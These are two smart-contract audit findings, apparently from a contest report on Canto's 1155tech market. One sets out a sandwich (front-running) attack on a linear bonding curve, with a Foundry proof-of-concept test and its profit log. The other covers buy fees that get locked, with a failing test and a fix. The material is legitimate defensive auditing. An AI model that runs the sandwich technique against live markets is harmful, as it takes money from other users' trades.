Canto Application Specific Dollars and Bonding Curves for 1155s - Yanchuan's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25

Vulnerability details

Impact

1155tech allows to create arbitrary shares with an arbitrary bonding curve. At the moment, only a linear bonding curve is supported. In such a curve, linear price increase based on the total supply of a share.

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25

    function getPriceAndFee(uint256 shareCount, uint256 amount)
        external
        view
        override
        returns (uint256 price, uint256 fee)
    {
        for (uint256 i = shareCount; i < shareCount + amount; i++) {
>>            uint256 tokenPrice = priceIncrease * i;
            price += tokenPrice;
            fee += (getFee(i) * tokenPrice) / 1e18;
        }
    }

This provides an opportunity for malicious users to conduct a sandwich attack. A malicious user can monitor buying transactions in the network. Upon detecting a buying transaction, they make a similar buying transaction, setting a higher gas fee to execute it before the user's transaction. After the user's buying transaction is executed, the malicious user then make a selling transaction to sell the tokens. Since the total amount of tokens during the selling transaction is one more than during the buying transaction, the price of selling the tokens is higher than the price of buying them. This way, the malicious user can profit from the situation.

Proof of Concept

In the following test case, Bob is a regular user, and Alice is the attacker. When Alice detects Bob's transaction, she immediately makes a buying transaction, completing it before Bob. Afterward, she makes a selling transaction.

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../Market.sol";
import "../bonding_curve/LinearBondingCurve.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract MockERC20 is ERC20 {
    constructor(
        string memory name,
        string memory symbol,
        uint256 initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
    }

    function mint(address account, uint256 amount) public {
        _mint(account, amount);
    }
}

contract MarketTest is Test {
    Market market;
    LinearBondingCurve bondingCurve;
    MockERC20 token;
    uint256 constant LINEAR_INCREASE = 1e18 / 1000;
    address bob;
    address alice;
    address creator;

    function setUp() public {
        bondingCurve = new LinearBondingCurve(LINEAR_INCREASE);
        token = new MockERC20("Mock Token", "MTK", 1e18);
        market = new Market("http://uri.xyz", address(token));
        bob = address(1);
        alice = address(2);
        creator = address(3);
        token.mint(alice, 1e19);
        token.mint(bob, 1e19);

        market.changeBondingCurveAllowed(address(bondingCurve), true);
        market.restrictShareCreation(false);
        vm.prank(creator);
        market.createNewShare("Test Share", address(bondingCurve), "metadataURI");
        assertEq(market.shareIDs("Test Share"), 1);
    }

    function testSandwichAttack() public {

        uint256 balanceAliceBefore = token.balanceOf(alice);

        // Alice buys one token
        vm.startPrank(alice);
        token.approve(address(market), type(uint256).max);
        market.buy(1, 1);
        vm.stopPrank();

        // Bob buys one token
        vm.startPrank(bob);
        token.approve(address(market), type(uint256).max);
        market.buy(1, 1);
        vm.stopPrank();

        // Alice sells one token
        vm.startPrank(alice);
        market.sell(1, 1);
        vm.stopPrank();

        uint256 balanceAliceAfter = token.balanceOf(alice);

        console.log("Balance of Alice before attack: %s", balanceAliceBefore);
        console.log("Balance of Alice after attack: %s", balanceAliceAfter);
        
    }
}

The test result shows that through this attack, Alice gained undue profits.

Running 1 test for src/test/Market.t.sol:MarketTest
[PASS] testSandwichAttack() (gas: 334876)
Logs:
  Balance of Alice before attack: 10000000000000000000
  Balance of Alice after attack: 10000799000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.13ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Modify the buy function by adding a parameter to pass the total amount of tokens at the time of transaction initiation. When executing a buying transaction, check whether the actual amount of tokens matches the provided amount. If they are not equal, revert the transaction.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L158

Vulnerability details

Impact

When users buy and sell tokens, as well as mint and burn NFTs, fees are incurred. These fees are allocated as rewards to the platform, creator, and token holders. 33% of the rewards are distributed to token holders, and they are distributed based on the amount of tokens each holder have. There are three variables related to holder rewards allocation:

shareHolderRewardsPerTokenScaled: Accrued funds for the share holder per token rewardsLastClaimedValue: Value of ShareData.shareHolderRewardsPerTokenScaled at the last time a user claimed their rewards tokensByAddress: the number of outstanding tokens per share and address

The calculation method for rewards that users can withdraw is as follows: (shareData[shareId].shareHolderRewardsPerTokenScaled - rewardsLastClaimedValue[shareId][holder]) * tokensByAddress[shareId][holder]

According to the design, users cannot receive fees for their own buy. However, the logic in the buy function does not align with the design, as it allocates fees to the user. What's more concerning is that the user is unable to withdraw this portion of fees.

The user may have previously bought tokens and is also a holder, the calculation for the fees that the user can withdraw is performed first (#L156), and then it is transferred to this user (#L166). Subsequently, the allocation of fees for the current buying is computed (#L158).

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L158

150    function buy(uint256 _id, uint256 _amount) external {
151        require(shareData[_id].creator != msg.sender, "Creator cannot buy");
152        (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID
153        SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee);
154        // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy
155        // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy
156        uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id);
157        // Split the fee among holder, creator and platform
158  >>    _splitFees(_id, fee, shareData[_id].tokensInCirculation);
159        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;
160
161        shareData[_id].tokenCount += _amount;
162        shareData[_id].tokensInCirculation += _amount;
163        tokensByAddress[_id][msg.sender] += _amount;
164
165        if (rewardsSinceLastClaim > 0) {
166            SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim);
167        }
168        emit SharesBought(_id, msg.sender, _amount, price, fee);
169    }

At #L166, the fee represents the fee for the current purchase, and shareData[_id].tokensInCirculation denotes the number of tokens in circulation. 34% of the fees are distributed to the platform, 33% of the fees are distributed to the creator, and 33% of the fees are distributed to token holders.

At #L290, shareHolderRewardsPerTokenScaled is updated according to the amount of tokens, including the tokens the user owned, so the user can receive some fees.

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L280-L296

280    function _splitFees(
281        uint256 _id,
282        uint256 _fee,
283        uint256 _tokenCount
284    ) internal {
285        uint256 shareHolderFee = (_fee * HOLDER_CUT_BPS) / 10_000;
286        uint256 shareCreatorFee = (_fee * CREATOR_CUT_BPS) / 10_000;
287        uint256 platformFee = _fee - shareHolderFee - shareCreatorFee;
288        shareData[_id].shareCreatorPool += shareCreatorFee;
289        if (_tokenCount > 0) {
290  >>        shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount;
291        } else {
292            // If there are no tokens in circulation, the fee goes to the platform
293            platformFee += shareHolderFee;
294        }
295        platformPool += platformFee;
296    }

A more serious issue is that the user is unable to withdraw this portion of fees because in #L159, the user's Accrued funds were updated: rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;. This results in this portion of fees being permanently locked in the market.

Proof of Concept

Here is a test case. Alice and Bob are two users. Alice first buys 1 token, then Bob buys 1 token, and finally, Bob buys another token. We calculate the total fees for buying these three tokens. Then, Alice, Bob, the creator, and the platform all withdraw rewards. According to the design, the value of rewards should be equal to the value of fees.

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../Market.sol";
import "../bonding_curve/LinearBondingCurve.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract MockERC20 is ERC20 {
    constructor(
        string memory name,
        string memory symbol,
        uint256 initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
    }

    function mint(address account, uint256 amount) public {
        _mint(account, amount);
    }
}

contract MarketTest is Test {
    Market market;
    LinearBondingCurve bondingCurve;
    MockERC20 token;
    uint256 constant LINEAR_INCREASE = 1e18 / 1000;
    address bob;
    address alice;
    address creator;

    function setUp() public {
        bondingCurve = new LinearBondingCurve(LINEAR_INCREASE);
        token = new MockERC20("Mock Token", "MTK", 1e18);
        market = new Market("http://uri.xyz", address(token));
        bob = address(1);
        alice = address(2);
        creator = address(3);
        token.mint(alice, 1e19);
        token.mint(bob, 1e19);

        market.changeBondingCurveAllowed(address(bondingCurve), true);
        market.restrictShareCreation(false);
        vm.prank(creator);
        market.createNewShare("Test Share", address(bondingCurve), "metadataURI");
        assertEq(market.shareIDs("Test Share"), 1);
    }

    function testRewards() public {
        uint256 fee;
        uint256 rewards;

        // Alice buy one share
        vm.startPrank(alice);
        token.approve(address(market), type(uint256).max);
        (, uint256 fee1) = market.getBuyPrice(1, 1);
        market.buy(1, 1);
        vm.stopPrank();

        vm.startPrank(bob);
        token.approve(address(market), type(uint256).max);
        // Bob buy one share
        (, uint256 fee2) = market.getBuyPrice(1, 1);
        market.buy(1, 1);
        // Bob buy an other share
        (, uint256 fee3) = market.getBuyPrice(1, 1);
        market.buy(1, 1);
        vm.stopPrank();

        // claim platform rewards
        uint256 balanceContractBefore = token.balanceOf(address(this));
        market.claimPlatformFee();
        uint256 balanceContractAfter = token.balanceOf(address(this));

        // claim creator rewards
        uint256 balanceCreatorBefore = token.balanceOf(creator);
        vm.prank(creator);
        market.claimCreatorFee(1);
        uint256 balanceCreatorAfter = token.balanceOf(creator);
        
        // Alice claim rewards
        uint256 balanceAliceBefore = token.balanceOf(alice);
        vm.prank(alice);
        market.claimHolderFee(1);
        uint256 balanceAliceAfter = token.balanceOf(alice);

        // Bob claim rewards
        uint256 balanceBobBefore = token.balanceOf(bob);
        vm.prank(bob);
        market.claimHolderFee(1);
        uint256 balanceBobAfter = token.balanceOf(bob);

        // total fee and total rewards
        fee = fee1 + fee2 + fee3;
        rewards = (balanceContractAfter - balanceContractBefore) + 
                    (balanceAliceAfter - balanceAliceBefore) + 
                    (balanceBobAfter - balanceBobBefore) + 
                    (balanceCreatorAfter - balanceCreatorBefore);

        console.log("Total fees: %s", fee);
        console.log("Total rewards: %s", rewards);

        assertEq(fee, rewards);
        
    }
}

The test result shows that the value of fees is greater than the value of rewards, and some rewards are locked in the market.

Running 1 test for src/test/Market.t.sol:MarketTest
[FAIL. Reason: Assertion failed.] testRewards() (gas: 402583)
Logs:
  Total fees: 600000000000000
  Total rewards: 550500000000000
  Error: a == b not satisfied [uint]
        Left: 600000000000000
       Right: 550500000000000

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.59ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/Market.t.sol:MarketTest
[FAIL. Reason: Assertion failed.] testkkRewards() (gas: 402583)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Foundry

Recommended Mitigation Steps

According to the design, when distributing fees, the amount of tokens owned by the user should be excluded.

        uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id);
        // Split the fee among holder, creator and platform
--      _splitFees(_id, fee, shareData[_id].tokensInCirculation);
++      _splitFees(_id, fee, shareData[_id].tokensInCirculation - tokensByAddress[_id][msg.sender]);
        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;

Assessed type

Context